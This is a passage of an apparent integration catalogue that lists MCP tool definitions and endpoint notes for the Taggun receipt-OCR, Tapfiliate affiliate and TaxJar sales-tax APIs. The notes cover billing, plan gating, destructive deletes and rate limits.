the account has not bought, not a rejected key. GET /api/v1/taggun/api/validation/v1/campaign/settings/list. Scopes: api. taggun_post_api_account_v1_feedback (write) — Submit extraction feedback via POST /api/account/v1/feedback. Correct what Taggun read off a receipt it has already processed, naming it by the `referenceId` the original request was tagged with, and supply the right merchant name, date, total, tax, currency or master category. This is training feedback for the account's own model, not a re-read of the receipt. POST /api/v1/taggun/api/account/v1/feedback. Scopes: api. taggun_post_api_account_v1_merchantname_add (write) — Add a known merchant name via POST /api/account/v1/merchantname/add. Add one merchant name to the account's known-merchant list, so later receipts from that merchant normalise to it. Changes the account's configuration for every future extraction, not just the next one. POST /api/v1/taggun/api/account/v1/merchantname/add. Scopes: api. taggun_post_api_receipt_v1_simple_encoded (write) — Read a receipt from a base64 image (simple) via POST /api/receipt/v1/simple/encoded. Run OCR over a receipt or invoice supplied as a BASE64-ENCODED image in the request body (`image` with its `filename` and `contentType`) and return the simple result: the merchant, date, total, tax and currency Taggun read, without the per-field confidence and region detail the verbose form carries. This is the bounded way to send a file to Taggun through this integration -- the multipart `/simple/file` endpoint is not shipped. SPENDS A SCAN against the Taggun plan's allowance, against PRODUCTION -- Taggun publishes no sandbox environment, so the same key that reads also processes real receipts and is metered for them. POST /api/v1/taggun/api/receipt/v1/simple/encoded. Scopes: api. taggun_post_api_receipt_v1_simple_url (write) — Read a receipt from a URL (simple) via POST /api/receipt/v1/simple/url. Run OCR over a receipt or invoice TAGGUN FETCHES ITSELF from an https URL you supply, and return the simple result. Taggun dereferences the URL, not Agentic Fabriq, and only https is accepted; the file must be reachable by Taggun's own servers. SPENDS A SCAN against the Taggun plan's allowance, against PRODUCTION -- Taggun publishes no sandbox environment, so the same key that reads also processes real receipts and is metered for them. POST /api/v1/taggun/api/receipt/v1/simple/url. Scopes: api. taggun_post_api_receipt_v1_verbose_encoded (write) — Read a receipt from a base64 image (verbose) via POST /api/receipt/v1/verbose/encoded. Run OCR over a receipt or invoice supplied as a BASE64-ENCODED image in the request body and return the verbose result: every extracted field with its confidence, the text region it came from, the full transcribed text, and -- with `extractLineItems` -- the product line items. This is the bounded way to send a file to Taggun through this integration; the multipart `/verbose/file` endpoint is not shipped. SPENDS A SCAN against the Taggun plan's allowance, against PRODUCTION -- Taggun publishes no sandbox environment, so the same key that reads also processes real receipts and is metered for them. POST /api/v1/taggun/api/receipt/v1/verbose/encoded. Scopes: api. taggun_post_api_receipt_v1_verbose_url (write) — Read a receipt from a URL (verbose) via POST /api/receipt/v1/verbose/url. Run OCR over a receipt or invoice TAGGUN FETCHES ITSELF from an https URL you supply, and return the verbose result with per-field confidence, text regions and optional line items. Taggun dereferences the URL, not Agentic Fabriq, and only https is accepted. SPENDS A SCAN against the Taggun plan's allowance, against PRODUCTION -- Taggun publishes no sandbox environment, so the same key that reads also processes real receipts and is metered for them. POST /api/v1/taggun/api/receipt/v1/verbose/url. Scopes: api. taggun_post_api_validation_v1_campaign_receipt_validation_url (write) — Validate a campaign receipt from a URL via POST /api/validation/v1/campaign/receipt-validation/url. Fetch a receipt from an https URL and judge it against a STORED campaign's settings, named by `campaignId`, rather than against rules passed in the call. The campaign's own allow and block lists, date window, balance range and fraud switches decide the verdict, so changing the campaign changes what this tool accepts. SPENDS A SCAN against the Taggun plan's allowance, against PRODUCTION -- Taggun publishes no sandbox environment, so the same key that reads also processes real receipts and is metered for them. PLAN-GATED: receipt validation and campaigns require an Advanced plan or above with Campaign Validation enabled in the account's Feature Settings. A refusal here is an entitlement the account has not bought, not a rejected key. POST /api/v1/taggun/api/validation/v1/campaign/receipt-validation/url. Scopes: api. taggun_post_api_validation_v1_campaign_settings_create_by_campaignid (write) — Create campaign validation settings via POST /api/validation/v1/campaign/settings/create/{campaignId}. Create the validation settings for one campaign id: merchant allow and block lists, product codes, product line-item rules, a date window, a balance-owing range, smart-validate prompts and the fraud-detection switches. These rules govern every later validation of that campaign, so this changes how receipts submitted afterwards are judged. PLAN-GATED: receipt validation and campaigns require an Advanced plan or above with Campaign Validation enabled in the account's Feature Settings. A refusal here is an entitlement the account has not bought, not a rejected key. POST /api/v1/taggun/api/validation/v1/campaign/settings/create/{campaignId}. Scopes: api. taggun_post_api_validation_v1_receipt_validation_url (write) — Validate a receipt from a URL via POST /api/validation/v1/receipt-validation/url. Fetch a receipt from an https URL and judge it against validation rules supplied IN THE REQUEST (`validation`) rather than against a stored campaign: merchant allow and block lists, product codes and line items, a date window, a balance-owing range, and the fraud checks -- digital detection, tamper detection and similarity checking. Returns the extraction and the per-rule verdicts. SPENDS A SCAN against the Taggun plan's allowance, against PRODUCTION -- Taggun publishes no sandbox environment, so the same key that reads also processes real receipts and is metered for them. PLAN-GATED: receipt validation and campaigns require an Advanced plan or above with Campaign Validation enabled in the account's Feature Settings. A refusal here is an entitlement the account has not bought, not a rejected key. POST /api/v1/taggun/api/validation/v1/receipt-validation/url. Scopes: api. taggun_put_api_validation_v1_campaign_settings_update_by_campaignid (write) — Replace campaign validation settings via PUT /api/validation/v1/campaign/settings/update/{campaignId}. REPLACE one campaign's validation settings. This is a PUT and it takes the whole settings object, so a field left out of the body is a field removed from the campaign, not a field left alone -- read the campaign first and send it back changed rather than sending a partial update. PLAN-GATED: receipt validation and campaigns require an Advanced plan or above with Campaign Validation enabled in the account's Feature Settings. A refusal here is an entitlement the account has not bought, not a rejected key. PUT /api/v1/taggun/api/validation/v1/campaign/settings/update/{campaignId}. Scopes: api. ================================================================================ ## Tapfiliate URL: https://www.agenticfabriq.com/integrations/tapfiliate Section: Integrated Tools Tapfiliate — 78 MCP tools Provider key: tapfiliate. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. tapfiliate_delete_affiliate_prospects_by_affiliate_prospect_id (write, destructive) — Delete an affiliate prospect via DELETE /affiliate-prospects/{affiliate_prospect_id}/. DELETE /api/v1/tapfiliate/affiliate-prospects/{affiliate_prospect_id}. Scopes: api. tapfiliate_delete_affiliates_by_affiliate_id (write, destructive) — Delete an affiliate via DELETE /affiliates/{affiliate_id}/. DELETE /api/v1/tapfiliate/affiliates/{affiliate_id}. Scopes: api. tapfiliate_delete_affiliates_by_affiliate_id_group (write, destructive) — Remove affiliate group via DELETE /affiliates/{affiliate_id}/group/. DELETE /api/v1/tapfiliate/affiliates/{affiliate_id}/group. Scopes: api. tapfiliate_delete_affiliates_by_affiliate_id_meta_data_by_key (write, destructive) — Delete meta data by key (affiliate) via DELETE /affiliates/{affiliate_id}/meta-data/{key}/. DELETE /api/v1/tapfiliate/affiliates/{affiliate_id}/meta-data/{key}. Scopes: api. tapfiliate_delete_affiliates_by_affiliate_id_notes_by_id (write, destructive) — Delete note via DELETE /affiliates/{affiliate_id}/notes/{id}/. DELETE /api/v1/tapfiliate/affiliates/{affiliate_id}/notes/{id}. Scopes: api. tapfiliate_delete_affiliates_by_child_affiliate_id_parent (write, destructive) — Remove parent via DELETE /affiliates/{child_affiliate_id}/parent/. DELETE /api/v1/tapfiliate/affiliates/{child_affiliate_id}/parent. Scopes: api. tapfiliate_delete_commissions_by_commission_id_approved (write, destructive) — Disapprove a commission via DELETE /commissions/{commission_id}/approved/. DELETE /api/v1/tapfiliate/commissions/{commission_id}/approved. Scopes: api. tapfiliate_delete_conversions_by_conversion_id (write, destructive) — Delete a Conversion via DELETE /conversions/{conversion_id}/. DELETE /api/v1/tapfiliate/conversions/{conversion_id}. Scopes: api. tapfiliate_delete_conversions_by_conversion_id_meta_data_by_key (write, destructive) — Delete meta data by key (conversion) via DELETE /conversions/{conversion_id}/meta-data/{key}/. DELETE /api/v1/tapfiliate/conversions/{conversion_id}/meta-data/{key}. Scopes: api. tapfiliate_delete_customers_by_id (write, destructive) — Delete a Customer via DELETE /customers/{id}/. DELETE /api/v1/tapfiliate/customers/{id}. Scopes: api. tapfiliate_delete_customers_by_id_meta_data_by_key (write, destructive) — Delete meta data by key (customer) via DELETE /customers/{id}/meta-data/{key}/. DELETE /api/v1/tapfiliate/customers/{id}/meta-data/{key}. Scopes: api. tapfiliate_delete_customers_by_id_status (write, destructive) — Cancel a customer via DELETE /customers/{id}/status/. DELETE /api/v1/tapfiliate/customers/{id}/status. Scopes: api. tapfiliate_delete_payments_by_id (write, destructive) — Cancel payment via DELETE /payments/{id}/. Cancels the payment and re-adds the amount to the affiliate’s balance. DELETE /api/v1/tapfiliate/payments/{id}. Scopes: api. tapfiliate_delete_programs_by_program_id_affiliates_by_affiliate_id_approved (write, destructive) — Disapprove an affiliate via DELETE /programs/{program_id}/affiliates/{affiliate_id}/approved/. DELETE /api/v1/tapfiliate/programs/{program_id}/affiliates/{affiliate_id}/approved. Scopes: api. tapfiliate_get_affiliate_groups (read) — List all affiliate groups via GET /affiliate-groups/. GET /api/v1/tapfiliate/affiliate-groups. Scopes: api. tapfiliate_get_affiliate_prospects (read) — List all affiliate prospects via GET /affiliate-prospects/. GET /api/v1/tapfiliate/affiliate-prospects. Scopes: api. tapfiliate_get_affiliate_prospects_by_affiliate_prospect_id (read) — Retrieve an affiliate prospect via GET /affiliate-prospects/{affiliate_prospect_id}/. GET /api/v1/tapfiliate/affiliate-prospects/{affiliate_prospect_id}. Scopes: api. tapfiliate_get_affiliates (read) — List all affiliates via GET /affiliates/. GET /api/v1/tapfiliate/affiliates. Scopes: api. tapfiliate_get_affiliates_by_affiliate_id (read) — Retrieve an affiliate via GET /affiliates/{affiliate_id}/. GET /api/v1/tapfiliate/affiliates/{affiliate_id}. Scopes: api. tapfiliate_get_affiliates_by_affiliate_id_balances (read) — Retrieve affiliate's balances via GET /affiliates/{affiliate_id}/balances/. GET /api/v1/tapfiliate/affiliates/{affiliate_id}/balances. Scopes: api. tapfiliate_get_affiliates_by_affiliate_id_meta_data (read) — Retrieve meta data (affiliate) via GET /affiliates/{affiliate_id}/meta-data/. GET /api/v1/tapfiliate/affiliates/{affiliate_id}/meta-data. Scopes: api. tapfiliate_get_affiliates_by_affiliate_id_meta_data_by_key (read) — Retrieve meta data by key (affiliate) via GET /affiliates/{affiliate_id}/meta-data/{key}/. GET /api/v1/tapfiliate/affiliates/{affiliate_id}/meta-data/{key}. Scopes: api. tapfiliate_get_affiliates_by_affiliate_id_notes (read) — List notes via GET /affiliates/{affiliate_id}/notes/. GET /api/v1/tapfiliate/affiliates/{affiliate_id}/notes. Scopes: api. tapfiliate_get_affiliates_by_affiliate_id_payments (read) — List affiliate's payments via GET /affiliates/{affiliate_id}/payments/. GET /api/v1/tapfiliate/affiliates/{affiliate_id}/payments. Scopes: api. tapfiliate_get_affiliates_by_affiliate_id_payout_methods (read) — List payout methods via GET /affiliates/{affiliate_id}/payout-methods/. GET /api/v1/tapfiliate/affiliates/{affiliate_id}/payout-methods. Scopes: api. tapfiliate_get_affiliates_by_affiliate_id_payout_methods_by_payout_method_id (read) — Get payout method via GET /affiliates/{affiliate_id}/payout-methods/{payout_method_id}/. GET /api/v1/tapfiliate/affiliates/{affiliate_id}/payout-methods/{payout_method_id}. Scopes: api. tapfiliate_get_affiliates_by_id_programs (read) — Get affiliations via GET /affiliates/{id}/programs/. GET /api/v1/tapfiliate/affiliates/{id}/programs. Scopes: api. tapfiliate_get_affiliates_custom_fields (read) — Get custom fields via GET /affiliates/custom-fields/. GET /api/v1/tapfiliate/affiliates/custom-fields. Scopes: api. tapfiliate_get_balances (read) — List all balances via GET /balances/. Returns a non-paginated list of all non-zero affiliate balances. GET /api/v1/tapfiliate/balances. Scopes: api. tapfiliate_get_clicks (read) — List all clicks via GET /clicks/. Enterprise plan only: Tapfiliate's 'Detailed API click report' is not included on Launch or Scale, so a key from those plans is refused here by entitlement, not by a bad credential. GET /api/v1/tapfiliate/clicks. Scopes: api. tapfiliate_get_clicks_by_id (read) — Get detailed information about click via GET /clicks/{id}/. Enterprise plan only: Tapfiliate's 'Detailed API click report' is not included on Launch or Scale, so a key from those plans is refused here by entitlement, not by a bad credential. GET /api/v1/tapfiliate/clicks/{id}. Scopes: api. tapfiliate_get_commissions (read) — List all commissions via GET /commissions/. GET /api/v1/tapfiliate/commissions. Scopes: api. tapfiliate_get_commissions_by_commission_id (read) — Retrieve a commission via GET /commissions/{commission_id}/. GET /api/v1/tapfiliate/commissions/{commission_id}. Scopes: api. tapfiliate_get_conversions (read) — List all conversions via GET /conversions/. GET /api/v1/tapfiliate/conversions. Scopes: api. tapfiliate_get_conversions_by_conversion_id (read) — Retrieve a Conversion via GET /conversions/{conversion_id}/. GET /api/v1/tapfiliate/conversions/{conversion_id}. Scopes: api. tapfiliate_get_conversions_by_conversion_id_meta_data (read) — Retrieve meta data (conversion) via GET /conversions/{conversion_id}/meta-data/. GET /api/v1/tapfiliate/conversions/{conversion_id}/meta-data. Scopes: api. tapfiliate_get_conversions_by_conversion_id_meta_data_by_key (read) — Retrieve meta data by key (conversion) via GET /conversions/{conversion_id}/meta-data/{key}/. GET /api/v1/tapfiliate/conversions/{conversion_id}/meta-data/{key}. Scopes: api. tapfiliate_get_customers (read) — List all Customers via GET /customers/. GET /api/v1/tapfiliate/customers. Scopes: api. tapfiliate_get_customers_by_id (read) — Retrieve a Customer via GET /customers/{id}/. GET /api/v1/tapfiliate/customers/{id}. Scopes: api. tapfiliate_get_customers_by_id_meta_data (read) — Retrieve meta data (customer) via GET /customers/{id}/meta-data/. GET /api/v1/tapfiliate/customers/{id}/meta-data. Scopes: api. tapfiliate_get_customers_by_id_meta_data_by_key (read) — Retrieve meta data by key (customer) via GET /customers/{id}/meta-data/{key}/. GET /api/v1/tapfiliate/customers/{id}/meta-data/{key}. Scopes: api. tapfiliate_get_payments (read) — List all payments via GET /payments/. GET /api/v1/tapfiliate/payments. Scopes: api. tapfiliate_get_payments_by_id (read) — Retrieve payment via GET /payments/{id}/. GET /api/v1/tapfiliate/payments/{id}. Scopes: api. tapfiliate_get_programs (read) — List all programs via GET /programs/. GET /api/v1/tapfiliate/programs. Scopes: api. tapfiliate_get_programs_by_program_id (read) — Retrieve a Program via GET /programs/{program_id}/. GET /api/v1/tapfiliate/programs/{program_id}. Scopes: api. tapfiliate_get_programs_by_program_id_affiliates (read) — List all affiliates in program via GET /programs/{program_id}/affiliates/. GET /api/v1/tapfiliate/programs/{program_id}/affiliates. Scopes: api. tapfiliate_get_programs_by_program_id_affiliates_by_affiliate_id (read) — Retrieve an affiliate in a program via GET /programs/{program_id}/affiliates/{affiliate_id}/. GET /api/v1/tapfiliate/programs/{program_id}/affiliates/{affiliate_id}. Scopes: api. tapfiliate_get_programs_by_program_id_bonuses (read) — List program bonuses via GET /programs/{program_id}/bonuses/. GET /api/v1/tapfiliate/programs/{program_id}/bonuses. Scopes: api. tapfiliate_get_programs_by_program_id_commission_types (read) — List program commission types via GET /programs/{program_id}/commission-types/. GET /api/v1/tapfiliate/programs/{program_id}/commission-types. Scopes: api. tapfiliate_get_programs_by_program_id_levels (read) — List program MLM levels via GET /programs/{program_id}/levels/. GET /api/v1/tapfiliate/programs/{program_id}/levels. Scopes: api. tapfiliate_patch_affiliate_groups_by_affiliate_group_id (write) — Update affiliate group via PATCH /affiliate-groups/{affiliate_group_id}/. PATCH /api/v1/tapfiliate/affiliate-groups/{affiliate_group_id}. Scopes: api. tapfiliate_patch_commissions_by_commission_id (write) — Update a commission via PATCH /commissions/{commission_id}/. PATCH /api/v1/tapfiliate/commissions/{commission_id}. Scopes: api. tapfiliate_patch_conversions_by_conversion_id (write) — Update a Conversion via PATCH /conversions/{conversion_id}/. PATCH /api/v1/tapfiliate/conversions/{conversion_id}. Scopes: api. tapfiliate_patch_customers_by_id (write) — Update a Customer via PATCH /customers/{id}/. PATCH /api/v1/tapfiliate/customers/{id}. Scopes: api. tapfiliate_patch_programs_by_program_id_affiliates_by_affiliate_id (write) — Update an affiliate in a program via PATCH /programs/{program_id}/affiliates/{affiliate_id}/. PATCH /api/v1/tapfiliate/programs/{program_id}/affiliates/{affiliate_id}. Scopes: api. tapfiliate_post_affiliate_groups (write) — Create new affiliate group via POST /affiliate-groups/. POST /api/v1/tapfiliate/affiliate-groups. Scopes: api. tapfiliate_post_affiliate_prospects (write) — Create an affiliate prospect via POST /affiliate-prospects/. POST /api/v1/tapfiliate/affiliate-prospects. Scopes: api. tapfiliate_post_affiliates (write) — Create an affiliate via POST /affiliates/. POST /api/v1/tapfiliate/affiliates. Scopes: api. tapfiliate_post_affiliates_by_affiliate_id_notes (write) — Create note via POST /affiliates/{affiliate_id}/notes/. POST /api/v1/tapfiliate/affiliates/{affiliate_id}/notes. Scopes: api. tapfiliate_post_affiliates_by_child_affiliate_id_parent (write) — Set parent via POST /affiliates/{child_affiliate_id}/parent/. POST /api/v1/tapfiliate/affiliates/{child_affiliate_id}/parent. Scopes: api. tapfiliate_post_clicks (write) — Create a Click via POST /clicks/. In case you elect to use a REST-only implementation, you can use the “Create a Click” endpoint to obtain a click id. This click id can be used to create a conversion, by passing it as the click_id . You can learn how to set up a full REST-only integration in our REST integration guide. POST /api/v1/tapfiliate/clicks. Scopes: api. tapfiliate_post_conversions (write) — Create a conversion via POST /conversions/. You are required to use either a referral code, customer_id, click id, coupon code, tracking id, or asset_id & source_id combination. If more than one of these is sent, the precedence will be as follows (highest to lowest): Customer id, Coupon, Referral Code, Click Id, Asset id + Source id, Tracking id. POST /api/v1/tapfiliate/conversions. Scopes: api. tapfiliate_post_conversions_by_conversion_id_commissions (write) — Add commissions to a conversion via POST /conversions/{conversion_id}/commissions/. POST /api/v1/tapfiliate/conversions/{conversion_id}/commissions. Scopes: api. tapfiliate_post_customers (write) — Create a Customer via POST /customers/. You are required to use either a Tracking id, referral code, click id, coupon code, or asset_id & source_id combination. If more than one of these is sent, the precedence will be as follows (highest to lowest): Coupon, Referral Code, Click Id, Asset id + Source id, Tracking id Please refer to our REST API integration guide for more info. POST /api/v1/tapfiliate/customers. Scopes: api. tapfiliate_post_payments (write) — Create a payment via POST /payments/. Create a single payment or multiple (using an array of payments). POST /api/v1/tapfiliate/payments. Scopes: api. tapfiliate_post_programs_by_program_id_affiliates (write) — Add an affiliate to a program via POST /programs/{program_id}/affiliates/. POST /api/v1/tapfiliate/programs/{program_id}/affiliates. Scopes: api. tapfiliate_put_affiliates_by_affiliate_id_group (write) — Set affiliate group via PUT /affiliates/{affiliate_id}/group/. PUT /api/v1/tapfiliate/affiliates/{affiliate_id}/group. Scopes: api. tapfiliate_put_affiliates_by_affiliate_id_meta_data (write) — Update (replace) meta data (affiliate) via PUT /affiliates/{affiliate_id}/meta-data/. PUT /api/v1/tapfiliate/affiliates/{affiliate_id}/meta-data. Scopes: api. tapfiliate_put_affiliates_by_affiliate_id_meta_data_by_key (write) — Set meta data by key (affiliate) via PUT /affiliates/{affiliate_id}/meta-data/{key}/. PUT /api/v1/tapfiliate/affiliates/{affiliate_id}/meta-data/{key}. Scopes: api. tapfiliate_put_affiliates_by_affiliate_id_notes_by_id (write) — Update note via PUT /affiliates/{affiliate_id}/notes/{id}/. PUT /api/v1/tapfiliate/affiliates/{affiliate_id}/notes/{id}. Scopes: api. tapfiliate_put_affiliates_by_affiliate_id_payout_methods_by_payout_method_id (write) — Set payout method via PUT /affiliates/{affiliate_id}/payout-methods/{payout_method_id}/. The body of the request should contain the appropriate data for the payout method you are setting. The field ids can be found by exporting payouts as .csv on the payouts page. PUT /api/v1/tapfiliate/affiliates/{affiliate_id}/payout-methods/{payout_method_id}. Scopes: api. tapfiliate_put_commissions_by_commission_id_approved (write) — Approve a commission via PUT /commissions/{commission_id}/approved/. PUT /api/v1/tapfiliate/commissions/{commission_id}/approved. Scopes: api. tapfiliate_put_conversions_by_conversion_id_meta_data (write) — Update (replace) meta data (conversion) via PUT /conversions/{conversion_id}/meta-data/. PUT /api/v1/tapfiliate/conversions/{conversion_id}/meta-data. Scopes: api. tapfiliate_put_conversions_by_conversion_id_meta_data_by_key (write) — Set meta data by key (conversion) via PUT /conversions/{conversion_id}/meta-data/{key}/. PUT /api/v1/tapfiliate/conversions/{conversion_id}/meta-data/{key}. Scopes: api. tapfiliate_put_customers_by_id_meta_data (write) — Update (replace) meta data (customer) via PUT /customers/{id}/meta-data/. PUT /api/v1/tapfiliate/customers/{id}/meta-data. Scopes: api. tapfiliate_put_customers_by_id_meta_data_by_key (write) — Set meta data by key (customer) via PUT /customers/{id}/meta-data/{key}/. PUT /api/v1/tapfiliate/customers/{id}/meta-data/{key}. Scopes: api. tapfiliate_put_customers_by_id_status (write) — Uncancel a customer via PUT /customers/{id}/status/. The customer will jump back to the appropriate status. You can read more about status statuses here. PUT /api/v1/tapfiliate/customers/{id}/status. Scopes: api. tapfiliate_put_programs_by_program_id_affiliates_by_affiliate_id_approved (write) — Approve an affiliate via PUT /programs/{program_id}/affiliates/{affiliate_id}/approved/. PUT /api/v1/tapfiliate/programs/{program_id}/affiliates/{affiliate_id}/approved. Scopes: api. ================================================================================ ## TaxJar URL: https://www.agenticfabriq.com/integrations/taxjar Section: Integrated Tools TaxJar — 21 MCP tools Provider key: taxjar. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. taxjar_delete_customers_by_customer_id (write, destructive) — Delete an exemption customer via DELETE /customers/{customer_id}. Deletes an existing customer created through the API. DESTRUCTIVE. The customer's exemptions stop applying to future calculations that reference this `customer_id`. Addressed entirely by the value in the path -- nothing in the body or the query selects the target -- and a value TaxJar cannot resolve answers 404. The 404 body names the route it matched, so a 404 here is a missing record rather than a missing endpoint. Consumes NO plan transaction: it is neither a sales tax calculation nor a rate lookup, which are what TaxJar's Billing section counts. Agentic Fabriq pins `x-api-version: 2022-01-24` on every TaxJar request, so this tool validates identically for every connected account instead of following whatever version each account defaults to. TaxJar limits API requests to 10,000 per minute on Professional plans and 25,000 per minute on Premium; a 429 is that budget, never the credential. DELETE /api/v1/taxjar/customers/{customer_id}. Scopes: api. taxjar_delete_transactions_orders_by_transaction_id (write, destructive) — Delete an order transaction via DELETE /transactions/orders/{transaction_id}. Deletes an existing order transaction created through the API. DESTRUCTIVE and not reversible through this API: TaxJar returns the deleted transaction's id rather than the record, and there is no undelete endpoint. The account's filed totals change with it. Addressed entirely by the value in the path -- nothing in the body or the query selects the target -- and a value TaxJar cannot resolve answers 404. The 404 body names the route it matched, so a 404 here is a missing record rather than a missing endpoint. `provider` scopes the lookup to the source that recorded the transaction and defaults to "api" -- so a transaction imported by a TaxJar marketplace or cart integration is NOT visible to this tool unless its provider is named. On a connection whose `environment` is `sandbox`, TaxJar returns a STUBBED response for this endpoint ("Transaction endpoints for orders and refunds return stubbed responses"), so a sandbox result proves the request was accepted, not that a record exists. Consumes NO plan transaction: it is neither a sales tax calculation nor a rate lookup, which are what TaxJar's Billing section counts. Agentic Fabriq pins `x-api-version: 2022-01-24` on every TaxJar request, so this tool validates identically for every connected account instead of following whatever version each account defaults to. TaxJar limits API requests to 10,000 per minute on Professional plans and 25,000 per minute on Premium; a 429 is that budget, never the credential. DELETE /api/v1/taxjar/transactions/orders/{transaction_id}. Scopes: api. taxjar_delete_transactions_refunds_by_transaction_id (write, destructive) — Delete a refund transaction via DELETE /transactions/refunds/{transaction_id}. Deletes an existing refund transaction created through the API. DESTRUCTIVE and not reversible through this API: TaxJar returns the deleted transaction's id rather than the record, and there is no undelete endpoint. Addressed entirely by the value in the path -- nothing in the body or the query selects the target -- and a value TaxJar cannot resolve answers 404. The 404 body names the route it matched, so a 404 here is a missing record rather than a missing endpoint. `provider` scopes the lookup to the source that recorded the transaction and defaults to "api" -- so a transaction imported by a TaxJar marketplace or cart integration is NOT visible to this tool unless its provider is named. On a connection whose `environment` is `sandbox`, TaxJar returns a STUBBED response for this endpoint ("Transaction endpoints for orders and refunds return stubbed responses"), so a sandbox result proves the request was accepted, not that a record exists. Consumes NO plan transaction: it is neither a sales tax calculation nor a rate lookup, which are what TaxJar's Billing section counts. Agentic Fabriq pins `x-api-version: 2022-01-24` on every TaxJar request, so this tool validates identically for every connected account instead of following whatever version each account defaults to. TaxJar limits API requests to 10,000 per minute on Professional plans and 25,000 per minute on Premium; a 429 is that budget, never the credential. DELETE /api/v1/taxjar/transactions/refunds/{transaction_id}. Scopes: api. taxjar_get_categories (read) — List product tax categories via GET /categories. Lists all tax categories. A static reference list of TaxJar's product tax codes with a name and description for each; it is account-independent, takes no arguments and is the endpoint this integration probes a pasted key against. Consumes NO plan transaction: it is neither a sales tax calculation nor a rate lookup, which are what TaxJar's Billing section counts. Agentic Fabriq pins `x-api-version: 2022-01-24` on every TaxJar request, so this tool validates identically for every connected account instead of following whatever version each account defaults to. TaxJar limits API requests to 10,000 per minute on Professional plans and 25,000 per minute on Premium; a 429 is that budget, never the credential. GET /api/v1/taxjar/categories. Scopes: api. taxjar_get_customers (read) — List exemption customers via GET /customers. Lists existing customers created through the API. Returns an array of customer IDS, not the customer records; read each one with the show tool. A TaxJar customer exists to carry an exemption, not to be a CRM contact. Consumes NO plan transaction: it is neither a sales tax calculation nor a rate lookup, which are what TaxJar's Billing section counts. Agentic Fabriq pins `x-api-version: 2022-01-24` on every TaxJar request, so this tool validates identically for every connected account instead of following whatever version each account defaults to. TaxJar limits API requests to 10,000 per minute on Professional plans and 25,000 per minute on Premium; a 429 is that budget, never the credential. GET /api/v1/taxjar/customers. Scopes: api. taxjar_get_customers_by_customer_id (read) — Show an exemption customer via GET /customers/{customer_id}. Shows an existing customer created through the API. Addressed entirely by the value in the path -- nothing in the body or the query selects the target -- and a value TaxJar cannot resolve answers 404. The 404 body names the route it matched, so a 404 here is a missing record rather than a missing endpoint. Consumes NO plan transaction: it is neither a sales tax calculation nor a rate lookup, which are what TaxJar's Billing section counts. Agentic Fabriq pins `x-api-version: 2022-01-24` on every TaxJar request, so this tool validates identically for every connected account instead of following whatever version each account defaults to. TaxJar limits API requests to 10,000 per minute on Professional plans and 25,000 per minute on Premium; a 429 is that budget, never the credential. GET /api/v1/taxjar/customers/{customer_id}. Scopes: api. taxjar_get_nexus_regions (read) — List the account's nexus regions via GET /nexus/regions. Lists existing nexus locations for an existing TaxJar account. Reads the regions configured under the account's State Settings -- where TaxJar believes this business must collect. It takes no arguments and answers for the connected account only. Consumes NO plan transaction: it is neither a sales tax calculation nor a rate lookup, which are what TaxJar's Billing section counts. Agentic Fabriq pins `x-api-version: 2022-01-24` on every TaxJar request, so this tool validates identically for every connected account instead of following whatever version each account defaults to. TaxJar limits API requests to 10,000 per minute on Professional plans and 25,000 per minute on Premium; a 429 is that budget, never the credential. GET /api/v1/taxjar/nexus/regions. Scopes: api. taxjar_get_rates_by_zip (read) — Look up sales tax rates for a location via GET /rates/{zip}. Shows the sales tax rates for a given location. Please note this endpoint only returns the full combined rate for a given location. It does not support nexus determination, sourcing based on a ship from and ship to address, shipping taxability, product exemptions, customer exemptions, or sales tax holidays. Prefer the calculation tool for anything that will be charged: this returns a combined rate for a location and nothing about whether the account has nexus there. Supplying `city` and `street` alongside the zip gets a rooftop-accurate rate where TaxJar has one. Addressed entirely by the value in the path -- nothing in the body or the query selects the target -- and a value TaxJar cannot resolve answers 404. The 404 body names the route it matched, so a 404 here is a missing record rather than a missing endpoint. COSTS A PLAN TRANSACTION. TaxJar's Billing section: "Each sales tax calculation or rate lookup request made to our API results in a 'transaction'. These transactions will be counted toward your monthly plan limit. Overage fees are charged separately if you exceed your plan limit." This tool is one of exactly two the reference names that way, so calling it in a loop spends the customer's plan. Batch what you can, cache a result while the order has not changed, and use the free summarized-rates tool as a fallback. Agentic Fabriq pins `x-api-version: 2022-01-24` on every TaxJar request, so this tool validates identically for every connected account instead of following whatever version each account defaults to. TaxJar limits API requests to 10,000 per minute on Professional plans and 25,000 per minute on Premium; a 429 is that budget, never the credential. GET /api/v1/taxjar/rates/{zip}. Scopes: api. taxjar_get_summary_rates (read) — List summarized rates by region via GET /summary_rates. Retrieve minimum and average sales tax rates by region as a backup. A per-region summary (minimum and average rate) intended as a FALLBACK when the calculation endpoint cannot be reached -- TaxJar names it that way in its own rate-limit guidance. It takes no arguments. Consumes NO plan transaction: it is neither a sales tax calculation nor a rate lookup, which are what TaxJar's Billing section counts. Agentic Fabriq pins `x-api-version: 2022-01-24` on every TaxJar request, so this tool validates identically for every connected account instead of following whatever version each account defaults to. TaxJar limits API requests to 10,000 per minute on Professional plans and 25,000 per minute on Premium; a 429 is that budget, never the credential. GET /api/v1/taxjar/summary_rates. Scopes: api. taxjar_get_transactions_orders (read) — List order transactions via GET /transactions/orders. Lists existing order transactions created through the API. Returns an array of transaction IDS, not the orders themselves; read each one with the show tool. Use `transaction_date` for a single day, or `from_transaction_date` with `to_transaction_date` for a range. `provider` scopes the lookup to the source that recorded the transaction and defaults to "api" -- so a transaction imported by a TaxJar marketplace or cart integration is NOT visible to this tool unless its provider is named. On a connection whose `environment` is `sandbox`, TaxJar returns a STUBBED response for this endpoint ("Transaction endpoints for orders and refunds return stubbed responses"), so a sandbox result proves the request was accepted, not that a record exists. Consumes NO plan transaction: it is neither a sales tax calculation nor a rate lookup, which are what TaxJar's Billing section counts. Agentic Fabriq 